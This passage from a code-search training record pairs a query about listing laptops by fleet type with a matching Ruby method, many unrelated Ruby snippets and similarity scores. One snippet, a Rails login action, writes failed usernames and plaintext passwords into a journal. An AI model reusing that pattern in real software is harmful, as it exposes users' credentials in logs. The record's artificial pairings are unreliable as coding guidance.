"def login\r\n if request.get?\r\n # Logout user\r\n self.logged_in_user = nil\r\n else\r\n # Authenticate user\r\n user = User.try_to_login(params[:login], params[:password])\r\n if user\r\n self.logged_in_user = user\r\n # user.update_attribute(:ip_last, request.remote_ip)\r\n journal(\"log_in\",user.id)\r\n # generate a key and set cookie if autologin\r\n if params[:autologin] && Setting.autologin?\r\n token = Token.create(:user => user, :action => 'autologin')\r\n cookies[:autologin] = { :value => token.value, :expires => 1.year.from_now }\r\n end\r\n puts \"aqui\"\r\n if user.show? \r\n puts \"1\"\r\n redirect_back_or_default :controller => 'my', :action => 'athletes'\r\n else \r\n puts \"2\" \r\n redirect_back_or_default :controller => 'my', :action => 'page'\r\n end\r\n else\r\n # if user.locked?\r\n # flash.now[:notice] = l(:status_locked)\r\n # else\r\n flash.now[:notice] = l(:notice_account_invalid_creditentials)\r\n # end\r\n journal(\"invalid-\"+params[:login]+\"-\"+params[:password],0)\r\n end\r\n end\r\n end",
"def signon\n user = Account.find_by_name( params[ :acc_name ].strip )\n if !!( user && user.authenticate( params[ :password ].strip ))\n return_to = session[ :return_to ] || base_url\n reset_session\n session[ :current_user_id ] = user.id\n session[ :keep_base_open ] = user.keep_base_open\n redirect_to return_to\n else\n flash[ :alert ] = t( 'home.signon.error' )\n redirect_to home_url\n end\n end"
] |
[
"0.79045576",
"0.7693476",
"0.7462141",
"0.7453687",
"0.743246",
"0.7416154",
"0.74111325",
"0.7382886",
"0.7381028",
"0.7375426",
"0.73032147",
"0.73026556",
"0.7302096",
"0.7283289",
"0.7267689",
"0.7192323",
"0.7184192",
"0.7184189",
"0.7179869",
"0.7157843",
"0.7147419",
"0.7126001",
"0.71247154",
"0.7119067",
"0.70897365",
"0.70813626",
"0.70696455",
"0.7065126",
"0.7059981",
"0.7057317",
"0.7056261",
"0.7055728",
"0.7054057",
"0.7046894",
"0.70391196",
"0.70306724",
"0.7025219",
"0.7024412",
"0.7022788",
"0.70149326",
"0.70126504",
"0.7012122",
"0.69832724",
"0.6975426",
"0.6972014",
"0.69636405",
"0.6962725",
"0.6962434",
"0.69605523",
"0.695999",
"0.69596416",
"0.695648",
"0.69551337",
"0.69551337",
"0.6955103",
"0.69536924",
"0.69508106",
"0.6946818",
"0.69415677",
"0.693929",
"0.693929",
"0.6934928",
"0.69327384",
"0.6923005",
"0.6921097",
"0.6917817",
"0.69176173",
"0.6911525",
"0.6904488",
"0.6900789",
"0.6898536",
"0.6891143",
"0.6890659",
"0.68855894",
"0.6878107",
"0.6876228",
"0.6873147",
"0.68729234",
"0.6872695",
"0.6870085",
"0.68636435",
"0.68625736",
"0.6856695",
"0.6845939",
"0.68440396",
"0.6843478",
"0.6843126",
"0.6834646",
"0.68310714",
"0.683055",
"0.68297374",
"0.68287915",
"0.6821652",
"0.682156",
"0.6815898",
"0.68125004",
"0.6803897",
"0.6803743",
"0.68031085",
"0.680293",
"0.6801638"
] |
0.0
|
-1
|
Laptops fleet_type Can be: :all, :spares, :staff, :archived Return a table of inwarranty laptops.
|
def print_laptops(fleet_type)
simple_print(@snipe.laptops(fleet_type), %w(asset_tag serial name assigned_to.username), 'asset_tag', ['Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_laptops_in_warranty(fleet_type)\n laptops = @snipe.laptops(fleet_type)\n data = laptops.find_all {|i| i['in_warranty'] }\n simple_print(data, %w(warranty_expires.formatted asset_tag serial name assigned_to.username), 'warranty_expires.formatted', ['Warranty Expires', 'Asset Tag', 'Serial', 'Asset Name', 'Assigned To'])\n end",
"def index\n @fleets = Fleet.where(user: current_user)\n \n @approaching_fleets = Array.new\n planets = current_user.planets\n planets.each do |planet|\n Fleet.where(\"target_planet = ? AND start_planet != target_planet\", planet).each do |fleet|\n @approaching_fleets.push(fleet)\n end\n end\n\n @flying_fleets = Array.new\n @based_fleets = Array.new\n @fleets.each do |fleet|\n if fleet.mission.id == 1\n @based_fleets.push(fleet)\n else\n @flying_fleets.push(fleet)\n end\n end\n end",
"def print_laptops_by_age(fleet_type, older_than_years = 0.0)\n laptops = @snipe.laptops(fleet_type)\n older_than_years = older_than_years.to_f\n data = []\n\n # Do not include these very old assets if filtering by age\n if older_than_years == 0.0\n # Format assets that have word based asset_tags, such as 'oldspare03'\n data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'word-based' }\n .sort_by {|i| i['asset_tag'] }\n .map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }\n\n # Format assets that are so old the asset_tags increment from '000000001' and up\n data += laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'incremental' }\n .sort_by {|i| i['asset_tag'] }\n .map {|i| ['---', '---', i['asset_tag'], i['serial'], i['name']] }\n end\n\n # Format assets that have date-based asset_tags (default asset_tag structure)\n date_asset_tags = laptops.find_all {|i| asset_tag_type(i['asset_tag']) == 'date-based' }\n\n # Filter date-based asset_tags based on approx age\n if older_than_years != 0.0\n date_asset_tags = date_asset_tags.find_all {|i| calculate_asset_age(i['asset_tag']) >= older_than_years }\n end\n\n data += date_asset_tags.sort_by {|i| i['asset_tag'] }\n .map {|i| [Date.parse(i['asset_tag']).strftime('%Y-%m-%d'), calculate_asset_age(i['asset_tag']), i['asset_tag'], i['serial'], i['name']] }\n\n @printer.print_table(data, ['Purchase Date', 'Approx Age', 'Asset Tag', 'Serial', 'Asset Name'])\n end",
"def add_fleet_info(fleet, type)\n\t\tunless fleet.nil?\n\t\t\tShipfleet.where(fleet_id: fleet.id).each do |shipfleet|\n\t\t\t\tif (type > 1)\n\t\t\t\t\ttmp = self.shipcounts.select{ |s| s.user_id == fleet.user.id && s.ship_id == shipfleet.ship_id}\n\n\t\t\t\t\ttmp.first.amount_after = shipfleet.amount unless tmp.nil?\n\t\t\t\telse\n\t\t\t\t\ttmp = Shipcount.new\n\t\t\t\t\ttmp.amount = shipfleet.amount\n\t\t\t\t\ttmp.amount_after = 0\n\t\t\t\t\ttmp.ship = shipfleet.ship\n\t\t\t\t\ttmp.shipowner_time_type = type\n\t\t\t\t\ttmp.user = fleet.user\n\t\t\t\t\tself.shipcounts << tmp\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def index\n @shipfleets = Shipfleet.all\n end",
"def fleet_params\n params.require(:fleet).permit(:credit, :ressource_capacity, :ore, :crystal, :storage_factor, :velocity_factor, :offense, :defense, :user_id, :mission_id, :departure_time, :arrival_time, :start_planet, :target_planet)\n end",
"def fleet_params\n params.require(:fleet).permit(:name, :fleet_type, :group_id)\n end",
"def check_show_airline_common(airline, type, fleet_number: nil)\n if type == :airline\n assert_select(\"h1\", airline.name)\n assert_select(\"#operator-count-table\")\n assert_select(\"#summary-value-iata\", airline.iata_code) if airline.iata_code\n assert_select(\"#summary-value-icao\", airline.icao_code) if airline.icao_code\n elsif type == :operator\n assert_select(\"h1\", \"Flights Operated by #{airline.name}\")\n assert_select(\"#airline-count-table\")\n assert_select(\"#fleet-number-table\")\n assert_select(\"#summary-value-iata\", airline.iata_code) if airline.iata_code\n assert_select(\"#summary-value-icao\", airline.icao_code) if airline.icao_code\n elsif type == :fleet_number\n assert_select(\"h1\", \"#{airline.name} ##{fleet_number}\")\n assert_select(\"a[href=?]\", show_operator_path(operator: airline.slug))\n assert_select(\"#airline-count-table\")\n end\n \n assert_select(\"div.flights-map\")\n assert_select(\".distance-mi\")\n\n assert_select(\"#aircraft-family-count-table\")\n assert_select(\"#travel-class-count-table\")\n assert_select(\"#superlatives-table\")\n assert_select(\"#flight-table\")\n end",
"def index\n @laptops = Laptop.all\n end",
"def index\n @laptops = Laptop.all\n end",
"def all_slot\n type = params[:type] || 'all_slots'\n @user = User.find(params[:data])\n\n @scoring_scale = @user.departments.first.cds_template.scoring_scale\n \n @competencies = Competency.all\n\n case type\n when 'all_slots'\n @slot_assesses = @user.slot_assesses.order(\"id\")\n when 'passed_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Passed\").order(\"id\")\n when 'not_passed_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Not Passed\").order(\"id\")\n when 'not_assessed_yet_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Not Assessed Yet\").order(\"id\")\n when 'not_added_slots'\n @slot_assesses = @user.slot_assesses.where(status: \"Not Added Yet\").order(\"id\")\n end\n render :layout => false\n end",
"def slots_based_on_type(staff:, type:, date:)\n case type\n when :central_office\n 11\n when :video\n staff.stc4\n when :travel\n (date.monday? || date.friday?) ? staff.stc2 : staff.stc3\n end\n end",
"def slots_based_on_type(staff:, type:, date:)\n case type\n when :central_office\n 11\n when :video\n staff.stc4\n when :travel\n (date.monday? || date.friday?) ? staff.stc2 : staff.stc3\n end\n end",
"def fleet\r\n FleetController.instance\r\n end",
"def get_department_outype\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/department\"\n _get(path)\n # returns OrgUnitType JSON data block\nend",
"def get_new_luns\n @lun_table.get_new_luns\n end",
"def available_types\n # TODO pull this from DB or config\n [\n :kiosk,\n :ride,\n :store,\n :restaurant\n ]\n end",
"def list(status: :unset, fleet: :unset, iccid: :unset, limit: nil, page_size: nil)\n self.stream(\n status: status,\n fleet: fleet,\n iccid: iccid,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def slots_based_on_type(staff:, type:, date:)\n case type\n when HearingDay::REQUEST_TYPES[:central]\n 11\n when HearingDay::REQUEST_TYPES[:video]\n staff.stc4\n when HearingDay::REQUEST_TYPES[:travel]\n (date.monday? || date.friday?) ? staff.stc2 : staff.stc3\n end\n end",
"def free_los (type_question, user_id)\n if type_question.nil?\n los_week = self.learning_objects.distinct\n los_in_rooms = LearningObject.joins(rooms_learning_objects: :room).where(\"rooms.week_id = ? AND rooms.user_id = ?\", self.id,user_id)\n elsif type_question == \"EvaluatorQuestion\"\n los_week = self.learning_objects.where(\"learning_objects.type = ?\",\"EvaluatorQuestion\").distinct\n los_in_rooms = LearningObject.joins(rooms_learning_objects: :room).where(\"rooms.week_id = ? AND rooms.user_id = ? AND learning_objects.type = ?\", self.id,user_id,\"EvaluatorQuestion\")\n else\n los_week = self.learning_objects.where(\"learning_objects.type != ?\",\"EvaluatorQuestion\").distinct\n los_in_rooms = LearningObject.joins(rooms_learning_objects: :room).where(\"rooms.week_id = ? AND rooms.user_id = ? AND learning_objects.type != ?\", self.id,user_id,\"EvaluatorQuestion\")\n end\n los_week.reject{ |los| los_in_rooms.include?(los)}\n end",
"def type\n @type ||=\n case office_level\n when \"city\", \"other\"\n case division_scope.downcase\n when \"citycouncil\"\n \"Councilmember\"\n when \"citywide\"\n if office_name == \"Mayor\"\n \"Mayor\"\n else\n \"MunicipalOfficial\"\n end\n else\n raise \"Unknown office_level and division_scope combination\"\n end\n when \"county\"\n \"CountyOfficial\"\n when \"state\"\n case division_scope.downcase\n when \"stateupper\", \"statelower\"\n \"StateLegislator\"\n when \"statewide\"\n if office_name == \"Governor\"\n \"Governor\"\n else\n \"StateOfficial\"\n end\n end\n when \"federal\"\n case division_scope.downcase\n when \"statewide\", \"congressional\", \"district congressional\", \"congressional district\"\n \"FederalLegislator\"\n when \"national\"\n if [\"President\", ].include?(office_name)\n office_name.sub(\" \", \"\") # handles Vice President\n else\n \"FederalOfficial\"\n end\n end\n end\n end",
"def lf_type(type)\n type = type.downcase.gsub(' ', '_').intern if type.class == String\n\n case type\n when :normal\n retval = self.lf\n when :rot\n retval = self.lf\n when :best_in_slot\n retval = self.bislf\n when :bis\n retval = self.bislf\n when :situational\n retval = self.sitlf\n when :sit\n retval = self.sitlf\n end\n end",
"def landlord_listing_fee\n if campus == SINGAPORE\n ApartmentType.singapore_campus.landlord_listing_fee\n else\n ApartmentType.fontainebleau_campus.landlord_listing_fee\n end\n end",
"def set_fleet\n @fleet = Fleet.find(params[:id])\n end",
"def fuel_type\n fetch('vehicle.fuel_types')\n end",
"def load_ships_for_planet(planet, options={})\n (EntitiesLoader.get_entities_by_category(managed_entity_class_name.underscore.to_sym).map {|_,v| v} + (managed_class.try(:where, planet_id: planet))).uniq {|item| item.ship_type }\n end",
"def initialize(name, ship_type, pilot_limit)\n @name = name\n @ship_type = ship_type\n @pilot_limit = pilot_limit\n @pilot_list = []\n end",
"def index\n @lamps = Product.all.where(company: current_user.company, productable_type: 'Lamp')\n end",
"def get_list(type)\n allowed_tables = A_LISTS\n\n if allowed_tables.include? type\n sql = 'SELECT '\n\n # Field names\n sql += get_fields(type)\n\n # Table names\n sql += get_tables(type)\n\n # Conditions\n sql += get_conditions(type)\n\n if sql.include? 'ERROR'\n 'ERROR'\n else\n PType.find_by_sql(sql)\n end\n else\n # TODO: Log error\n end\n end",
"def create_tables\r\n client = self.connect\r\n \r\n # create db strings\r\n \r\n # class descriptions. english. matth. etc...\r\n db_str_fleet = \"CREATE TABLE fleet (\" +\r\n \"id INT NOT NULL AUTO_INCREMENT, \" +\r\n \"name VARCHAR(255), \" +\r\n \"description VARCHAR(255), \" +\r\n \"PRIMARY KEY (id)\" +\r\n \");\"\r\n \r\n client.query(db_str_fleet)\r\n client.close\r\n \r\n puts \"space ship fleet table created\"\r\n \r\n \r\n return true\r\n end",
"def man_req_volunteers\n prepareBaseContext\n @volunteers = ShelterStaff.where('staff_type = ? AND start_date IS NULL', 'VOLUNTEER')\n render 'petshelter/management/requests/volunteers'\n end",
"def view_fg_products_side_a_allocation\n\n list_pack_stations \"A\", true\n\n end",
"def list\n return unless has_permission :can_manage_aircraft\n @page_title = \"Aircraft\"\n @offices = Office.find :all\n @aircrafts = Aircraft.find :all , \n :select => \"aircrafts.id,aircrafts.office,aircrafts.deleted,aircrafts.prioritized,aircrafts.identifier,aircraft_types.type_name\", \n :joins=>'inner join aircraft_types on aircraft_types.id = aircrafts.aircraft_type',\n :order=>'aircrafts.deleted,aircraft_types.type_name'\n end",
"def index\n @planet_types = PlanetType.all\n end",
"def hgt_type_avail_db\n case hgt_type\n when :regular then\n [\"Regular\"]\n when :all\n [\"Regular\",\"Trivial\"]\n else\n #no other options\n raise AssertError.new \"\"\n\n end\n end",
"def offering_type\n data.offering_type\n end",
"def available_tables(sets_of_dishes, places_per_table)\n# dishes / seats\n return sets_of_dishes / places_per_table\nend",
"def select_type\n\t\t\t@select_all_type = TypeEquipament.all\n\t\tend",
"def flight_miles_tally\n get_tally_by_flight_column_name(\"flight_miles\")\n end",
"def weapons\n broadsword = header_for_id('F4 65 03 01')\n two_handed_sword = header_for_id('01 66 03 01')\n war_sword = header_for_id('02 66 03 01')\n daggers = header_for_id('1B 66 03 01')\n avengers = header_for_id('1C 66 03 01')\n filler_array = [broadsword] * 99 +\n [two_handed_sword] * 99 +\n [war_sword] * 99 +\n [daggers] * 99 +\n [avengers] * 99\n raise 'invalid length' unless filler_array.length == 5 * 99\n type = WEAPONS\n\n code_for_weapon_or_accessory(filler_array: filler_array, type: type)\n end",
"def owned_provinces\n Fleet.where(\"id in (?)\", fleet_ids)\n end",
"def index\n @lift_types = LiftType.where(user_id: current_user.id).or(LiftType.where(user_id: nil))\n end",
"def tow\n auto_shop.tow_vehicle\n end",
"def tow\n auto_shop.tow_vehicle\n end",
"def initialize\n\t\t@OFFER_TYPES = Array.new ['Internship', 'Volunteer', 'Part-Time', \"Full-Time\"].freeze\n end",
"def fuel_type; end",
"def show\n \n @lou_inspections = LouInspection.find(params[:id])\n @businesses = @lou_inspection.lou_violation\n @business = @lou_inspection.business\n \n end",
"def produce_fleet(days, *types)\r\n #..\r\nend",
"def get_by_type(type)\r\n facts2typerule = {:methodcall => [:cant_access, :can_access],\r\n :inheritance => [:cant_extend, :can_extend],\r\n :objcreation => [:cant_create, :can_create]}\r\n\r\n find_all { |x| facts2typerule[type].index(x.type_interaction) != nil }\r\n end",
"def deck_faction(type)\n load_decks_data['overlord_types'][type]\n end",
"def get_shops_list\n\n\t\tbegin\n\t\t\tres = []\n\t\t\tcost = 0\n\t\t\toffer_cost = 0\n\n\t\t\tService.where(:shop_service_type_id => params[:shop_service_type_id]).each do |s|\n\t\t\t\tputs s.inspect\n\t\t\t\tputs params.inspect\n\t\t\t\tif s.shop.location_id == params[:location_id].to_i\n\t\t\t\t\t\n\n\t\t\t\t\tif s.offers.blank?\n\t\t\t\t\t\tputs \"no offers\"\n\t\t\t\t\t\tputs s.inspect\n\t\t\t\t\t\tcase params[:membership_type].to_s\n\t\t\t\t\t\twhen 'y'\n\t\t\t\t\t\t\tcost = s.cost_yearly\n\t\t\t\t\t\twhen 'h'\n\t\t\t\t\t\t\tcost = s.cost_halfyearly\n\n\t\t\t\t\t\twhen 'q'\n\t\t\t\t\t\t\tcost = s.cost_quartly\n\n\t\t\t\t\t\twhen 'm'\n\t\t\t\t\t\t\tcost = s.cost_monthly\n\n\t\t\t\t\t\twhen 'd'\n\t\t\t\t\t\t\tcost = s.cost_daily\n\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tcost = 0\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"has offer\"\n\t\t\t\t\t\tputs s.offers.inspect\n\t\t\t\t\t\tcase params[:membership_type].to_s\n\t\t\t\t\t\twhen 'y'\n\t\t\t\t\t\t\tcost = s.cost_yearly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_yearly\n\t\t\t\t\t\twhen 'h'\n\t\t\t\t\t\t\tcost = s.cost_halfyearly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_halfyearly\n\t\t\t\t\t\twhen 'q'\n\t\t\t\t\t\t\tcost = s.cost_quartly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_quartly\n\t\t\t\t\t\twhen 'm'\n\t\t\t\t\t\t\tcost = s.cost_monthly\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_monthly\n\t\t\t\t\t\twhen 'd'\n\t\t\t\t\t\t\tcost = s.cost_daily\n\t\t\t\t\t\t\toffer_cost = s.offers.last.cost_daily\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tcost = 0\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\n\t\t\t\t\tjson_obj = { \"shop_id\" => s.shop_id,\n\t\t\t\t\t\t\"shop_name\" => s.shop.name,\n\t\t\t\t\t\t\"icon\" => s.shop.icon,\n\t\t\t\t\t\t\"time_slot_ids\" => s.shop.time_slot_ids,\n\t\t\t\t\t\t\"day_slot_ids\" => s.shop.day_slot_ids,\n\t\t\t\t\t\t\"service_name\" => s.shop_service_type.name,\n\t\t\t\t\t\t\"cost\" => cost,\n\t\t\t\t\t\t\"offer_cost\" => offer_cost\n\t\t\t\t\t}\n\t\t\t\t\tputs \"json obj \"+json_obj.to_s\n\t\t\t\t\tres << json_obj\n\t\t\t\t\tputs res\n\n\t\t\t\tend\n\n\t\t\t\t\n\t\t\tend\n\n\n\n\n\n\t\t\trender :json => {:data => res.as_json,:success => true, :message => \"App Data found\"}\n\n\t\trescue Exception => e\n\t\t\tputs e.inspect\n\t\t\trender :json => {:data => \"\", :success => false, :message => \"Unable to retrive data\"}\n\t\tend\t\n\tend",
"def nfl_teams_used\n\tNflTeam.joins(:nfl_picks).where(\"pool_user_id = ? AND locked IS true\", self.id)\nend",
"def loyalty_program_type=(loyalty_program_type)\n validator = EnumAttributeValidator.new('String', ['disabled', 'points', 'cashback'])\n unless validator.valid?(loyalty_program_type)\n fail ArgumentError, 'invalid value for \"loyalty_program_type\", must be one of #{validator.allowable_values}.'\n end\n @loyalty_program_type = loyalty_program_type\n end",
"def get_conditions(type)\n sql = ' WHERE ' + (T_DELETABLE.include?(type) ? 'deleted_at IS NULL AND ' : '')\n\n if T_LISTS.include? type\n check_api_token\n\n unless @current_user\n return 'ERROR'\n end\n\n id = @current_user.theatre_id\n\n if type == 'theatres' && id != 0\n sql += 'id = ' + id.to_s\n\n elsif type == 'posters'\n sql += 't.theatre_id = ' + id.to_s\n\n elsif id != 0\n sql += 'theatre_id = ' + id.to_s\n end\n\n elsif type == 'u_perms'\n sql += \"perm NOT LIKE 'theatres%' AND perm NOT LIKE '%approve' AND perm NOT LIKE '%choose'\"\n\n elsif type == 'performances'\n check_api_token\n\n unless @current_user\n return 'ERROR'\n end\n\n id = @current_user.theatre_id\n\n sql += 'approved = 0 OR approved = ' + id.to_s\n\n end\n\n # Return\n if T_DELETABLE.include? type\n sql\n else\n sql == ' WHERE ' ? '' : sql\n end\n end",
"def build_station_level\n ship = Ship.find(@defender_ship)\n metal_save = 2000 * (2 ** ship.ships_stations.find_by(station_id: @metal_vault_id).level)\n crystal_save = 2000 * (2 ** ship.ships_stations.find_by(station_id: @crystal_vault_id).level)\n fuel_save =2000 * (2 ** ship.ships_stations.find_by(station_id: @fuel_vault_id).level)\n repair = (0.5 - (0.5/(1+ 0.1 * ship.ships_stations.find_by(station_id: @repair_id).level)))\n return [metal_save, crystal_save, fuel_save, repair]\n end",
"def order_type\n 'Dealer DropShip'\n end",
"def vegetable_toppings()\n\tvegetable_toppings = [\"mushrooms\", \"spinach\", \"broccoli\", \"pineapple\", \"peppers\"]\nend",
"def index\n @fleet_ships = FleetShip.all\n end",
"def fo_tool\n return actor.equips[0] if actor.primary_use == 1\n return actor.equips[1] if actor.primary_use == 2\n return actor.assigned_item if actor.primary_use == 3\n return actor.assigned_item2 if actor.primary_use == 4\n return actor.assigned_item3 if actor.primary_use == 5\n return actor.assigned_item4 if actor.primary_use == 6\n return actor.assigned_skill if actor.primary_use == 7\n return actor.assigned_skill2 if actor.primary_use == 8\n return actor.assigned_skill3 if actor.primary_use == 9\n return actor.assigned_skill4 if actor.primary_use == 10\n end",
"def find_lift_container(doc)\n container = doc.xpath('//table[@class=\"col2_tbl elevator_overview\"]')\n container\n end",
"def filter_listings(start_datetime, end_datetime, sale_lease, type)\n # Default to nil (which resolves to \"Sale\" if empty string provided\n filter_sale_lease = sale_lease == \"\" ? nil : sale_lease\n \n # Filter listings by required fields\n filter = Listing.where(municipality_id: params[:id])\n .where(sale_lease: filter_sale_lease || \"Sale\")\n .where(\n \"(sold_date > ? OR sold_date IS NULL) AND list_date < ?\",\n start_datetime,\n end_datetime\n )\n\n # Further filter by type, if provided\n filter = filter.where(listing_type: type) if type\n\n return filter\n end",
"def initialize(fleet_type, organization)\n self.organization = organization\n self.asset_fleet_type = fleet_type\n\n self.query = asset_query(fleet_type, organization)\n end",
"def lunch\n @menu = Menu.current_lunch\n if @menu\n @cart.set_menu_and_category @menu,'lunch'\n else\n @unavailable = true\n end\n end",
"def ships_where_type_matches\n list = CONNECTION.execute(\"SELECT * FROM ship_names WHERE ship_types_id = #{@id};\")\n array_list = []\n \n list.each do |type|\n array_list << ShipName.new(type)\n end\n \n array_list\n end",
"def planets; end",
"def equipment_class\n Equipment\n end",
"def kill_fleet(sector)\n prototype = @rl.repository.retrieve(self.base_tag)\n player = @rl.repository.universe.player\n inform = player.missions.select do | mission |\n mission.fleets_to_die.include?(prototype)\n end\n inform.each do | mission |\n unless mission.fleets_that_died.include?(prototype)\n mission.fleets_that_died << prototype\n end\n unless sector.killed_fleets.include?(prototype)\n sector.killed_fleets << prototype\n end\n sector.active_fleets.delete(self)\n end\n end",
"def show\n puts @fleet.id\n @ship_hash = @fleet.get_ships\n end",
"def index\n @labtech_timeslips = LabtechTimeslip.all\n @dtl_timeslips = LabtechTimeslip.all.where('lab_client_id = 12 ')\n end",
"def index\n @hotel_types = HotelType.all\n end",
"def calc_checklist(query = nil)\n return unless query ||= query_from_session\n\n case query.model.name\n when \"Name\"\n checklist_from_name_query(query)\n when \"Observation\"\n checklist_from_observation_query(query)\n when \"Image\"\n checklist_from_image_query(query)\n when \"Location\"\n checklist_from_location_query(query)\n when \"RssLog\"\n checklist_from_rss_log_query(query)\n end\n end",
"def index\n if params[:all]\n @leftovers = Leftover.all\n else\n @leftovers = Leftover.in_warehouse\n end\n end",
"def recently_not_added_slot\n @user = User.find(params[:data])\n type = params[:type] || \"\"\n if type == 'timeline' || type == \"\"\n @recently_added_slots = @user.slot_assesses.where(SlotAssess.arel_table[:status].not_eq(\"Not Added Yet\")).limit(8).order(\"updated_at desc\")\n @not_added_slots = @user.slot_assesses.where(status: \"Not Added Yet\").limit(8).order(\"updated_at\")\n elsif type == 'home'\n if @user.is_manager\n array_department_id = Department.where(manager_id: @user.id).map(&:id)\n array_users = User.joins(:users_departments).where([\"department_id IN (?)\", array_department_id]).uniq.map(&:id)\n @recently_added_slots = SlotAssess.joins(:user).where(\"users.id IN (?) and slot_assesses.status != (?)\", array_users, \"Not Added Yet\").limit(8).order(\"updated_at desc\")\n @not_added_slots = SlotAssess.joins(:user).where(\"users.id IN (?) and slot_assesses.status = (?)\", array_users, \"Not Added Yet\").limit(8).order(\"updated_at\")\n\n elsif @user.is_team_leader\n array_users = User.where(team_leader_id: @user.id).map(&:id)\n array_users = array_users.push(@user.id)\n @recently_added_slots = SlotAssess.joins(:user).where(\"users.id IN (?) and slot_assesses.status != (?)\", array_users, \"Not Added Yet\").limit(8).order(\"updated_at desc\")\n @not_added_slots = SlotAssess.joins(:user).where(\"users.id IN (?) and slot_assesses.status = (?)\", array_users, \"Not Added Yet\").limit(8).order(\"updated_at\")\n elsif @user.is_bod || @user.is_hr\n array_users = User.all.map(&:id)\n @recently_added_slots = SlotAssess.joins(:user).where(\"users.id IN (?) and slot_assesses.status != (?)\", array_users, \"Not Added Yet\").limit(8).order(\"updated_at desc\")\n @not_added_slots = SlotAssess.joins(:user).where(\"users.id IN (?) and slot_assesses.status = (?)\", array_users, \"Not Added Yet\").limit(8).order(\"updated_at\")\n end\n \n\n\n # @recently_added_slots = @user.slot_assesses.where(SlotAssess.arel_table[:status].not_eq(\"Not Added Yet\")).limit(8).order(\"updated_at desc\")\n \n # @not_added_slots = @user.slot_assesses.where(status: \"Not Added Yet\").limit(8).order(\"updated_at\")\n end\n \n render :layout => false\n end",
"def type\n read_attribute(:type) || Figaro.env.meal_types.split.first\n end",
"def build_array ( user, fleet )\n # Wählt Level-Array für jeweiligen Nutzer aus\n if ( user == @attacker )\n array = @attacker_level\n else\n array = @defender_level\n end\n fleet_array = []\n # Sammelt nötige Werte und speichert diese als Array in Array\n fleet.ship_groups.each do |sg|\n # Falls Gruppe leer, überspringe\n amount = sg.get_number\n if (amount > 0)\n id = sg.get_id\n damage_sum = sg.get_damage * amount\n damage_type = sg.get_damage_type\n hp_sum = sg.get_hp * amount * (1 + (0.1 * array[0])).to_i\n hitchance = 0.0\n damage_sum = damage_sum*(1 + (0.1 * mult_weapon_level(damage_type, user)))\n lost_ships = 0\n name = sg.get_name \n # Speichert alle Werte in Array\n fleet_array << [id, amount, damage_sum, damage_type, lost_ships, name, hp_sum, hitchance]\n end\n end\n # Sortiere Array und Berechne Trefferwahrscheinlichkeiten\n return get_hitchances(sort_by_damage(fleet_array))\n end",
"def get_hotel_facility_types(request_parameters)\r\n http_service.request_get(\"/json/bookings.getHotelFacilityTypes\", request_parameters)\r\n end",
"def index\n @weapon_types = WeaponType.all\n end",
"def dashboard\n studentype = params[:type].presence || 'ftic'\n\n case studentype\n when \"ftic\"\n @table_label = \"First Time in College Queue\"\n @modules_availables = FticModulesAvailable.where(:isactive => 1).order(:netid)\n when \"intl\"\n @table_label = \"International Queue\"\n @modules_availables = FticModulesAvailable.where(:isactive => 1).order(:netid)\n when \"transfer\"\n @table_label = \"Transfer Queue\"\n @modules_availables = FticModulesAvailable.where(:isactive => 1).order(:netid)\n else\n @table_label = \"Student Queue\"\n @modules_availabless = FticModulesAvailable.where(:isactive => 1).order(:netid)\n end\n end",
"def flyable_aircraft_types\n licensed_aircraft_type_ids = self.licenses.find(:all, :select => 'DISTINCT aircraft_type_id').collect { |r| r.aircraft_type_id }\n return AircraftType.find(:all, :conditions => ['id IN (?)', licensed_aircraft_type_ids]) || []\n end",
"def index\n @title= \"Listado de laptops\"\n unless params[:id].nil?\n begin\n laptop=Laptop.find(params[:id])\n rescue\n redirect_to laptops_path\n else\n redirect_to laptop\n end\n end\n if params[:estado] == '-1' or params[:estado].nil?\n @laptops = Laptop.paginate(:page=>params[:page], :per_page => 10, :order => \"id asc\")\n elsif params[:estado] == '1' or params[:estado] == '2'\n @laptops = Laptop.paginate(:page=>params[:page], :per_page => 10, :conditions=> {:estado => params[:estado]})\n @laptops.sort! { |a,b| a.receivedTime <=> b.receivedTime }\n else\n @laptops = Laptop.paginate(:page=>params[:page], :per_page => 10, :order => \"id asc\", :conditions=> {:estado => params[:estado]})\n end\n end",
"def maintenance_help\n puts \"Valid maintenance types are:\"\n Spinneret::Maintenance.constants.each { |cls| puts \" #{cls.to_s}\" }\n puts \"Note that capitalization *is* important and that Opportunistic is\"\n puts \"note a valid maintenance mode by itself.\"\nend",
"def has_qty? listing\n !listing.is_category_type? %w(employment service vehicle)\n end",
"def index\n @product_option_typeships = ProductOptionTypeship.all\n end",
"def show\n @fleet = Fleet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fleet }\n end\n end",
